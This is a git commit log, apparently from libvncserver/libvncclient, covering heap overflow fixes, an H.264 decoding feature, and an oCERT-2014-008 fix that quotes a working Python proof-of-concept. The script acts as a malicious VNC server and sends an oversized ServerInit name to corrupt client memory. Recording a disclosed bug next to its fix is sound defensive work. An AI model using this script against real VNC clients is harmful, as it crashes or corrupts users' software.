* Fix heap overflow in the ultra.c decoderJosef Gajdusek2016-11-141-4/+4
| | | | | | The Ultra type tile decoder does not use the _safe variant of the LZO decompress function, which allows a maliciuous server to overwrite parts of the heap by sending a larger-than-specified LZO data stream.
* Fix heap overflows in the various rectangle fill functionsJosef Gajdusek2016-11-141-0/+24
| | | | | | Altough rfbproto.c does check whether the overall FramebufferUpdate rectangle is too large, some of the individual encoding decoders do not, which allows a malicious server to overwrite parts of the heap.

* Fix possible libvncclient ServerInit memory corruption.Christian Beier2014-10-101-1/+2
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This fixes the following oCERT report (oCERT-2014-008 pt.2): There is a similar vulnerability to the previous one I sent. This is related to the ServerInit message where the width, the height of the server's framebuffer, its pixel format, and the name are sent to the client. The name can be used in a malicious manner to trigger a memory corruption in the client. Field Size --------------------------------- name-length [4] name-string [name-length] Below you will find a PoC script to show the vulnerability. This was tested on Fedora 20 with the latest version of krdc. I have noticed something, where the memory corruption causes the program to hang but allows you to try to disconnect. After this it hangs. Occasionally there will be segmentation fault in memcpy. This can become more reliable if you connect to a different VNC server first (Or the wrong port on the malicious server) then connecting to the malicious port. Every time I accidentally made the wrong VNC connection attempt the next time I connected it segfault'd. Just run the script it will listen on port 5900 and connect to it with krdc for example. I have observed Remmina crash more reliably. import socket,struct,sys HOST = "" PORT = 5900 c = socket.socket(socket.AF_INET, socket.SOCK_STREAM) c.bind((HOST,PORT)) c.listen(1) conn,addr = c.accept() print "Connected by ", addr protocolVersion3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a" conn.send(protocolVersion3008) data = conn.recv(1024) # Receive the version from them. secTypeNone = "\x01\x01" secTypeAuth = "\x01\x02" conn.send(secTypeNone) data = conn.recv(1024) # Receive the secType choice from them. secResultOk = "\x00" * 4 secResultNo = "\x00\x00\x00\x01" conn.send(secResultOk) data = conn.recv(1024) # Receive the ClientInit (Shared-flag). frameBufferWidth = 0x0480 frameBufferHeight = 0x0360 bitsPerPixel = 0x20 depth = 0x18 bigEndian = 0x1 trueColor = 0x0 redM = 0x0 greenM = 0x0 blueM = 0x0 redS = 0x0 greenS = 0x0 blueS = 0x0 padding = "\x00\x00\x00" nameLength = 0xffffffff nameString = "AA" * 0xFFFF + "\x00\x0a" conn.send( struct.pack(">HHBBBBHHHBBB",frameBufferWidth, frameBufferHeight, bitsPerPixel, depth, bigEndian, trueColor, redM, greenM, blueM, redS, greenS, blueS) + padding + struct.pack(">I", nameLength) + nameString ) c.close()

* LibVNCClient: Add H.264 encoding for framebuffer updatesDavid Verbeiren2013-01-254-1/+676
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This patch implements support in LibVNCClient for framebuffer updates encoded as H.264 frames. Hardware accelerated decoding is performed using VA API. This is experimental support to let the community explore the possibilities offered by the potential bandwidth and latency reductions that H.264 encoding allows. This may be particularly useful for use cases such as online gaming, hosted desktops, hosted set top boxes... This patch only provides the client side support and is meant to be used with corresponding server-side support, as provided by an upcoming patch for qemu ui/vnc module (to view the display of a virtual machine executing under QEMU). With this H.264-based encoding, if multiple framebuffer update messages are generated for a single server framebuffer modification, the H.264 frame data is sent only with the first update message. Subsequent update framebuffer messages will contain only the coordinates and size of the additional updated regions. Instructions/Requirements: * The patch should be applied on top of the previous patch I submitted with minor enhancements to the gtkvncviewer application: http://sourceforge.net/mailarchive/message.php?msg_id=30323804 * Currently only works with libva 1.0: use branch "v1.0-branch" for libva and intel-driver. Those can be built as follows: cd libva git checkout v1.0-branch ./autogen.sh make sudo make install cd .. git clone git://anongit.freedesktop.org/vaapi/intel-driver cd intel-driver git checkout v1.0-branch ./autogen.sh make sudo make install Signed-off-by: David Verbeiren <david.verbeiren@intel.com>
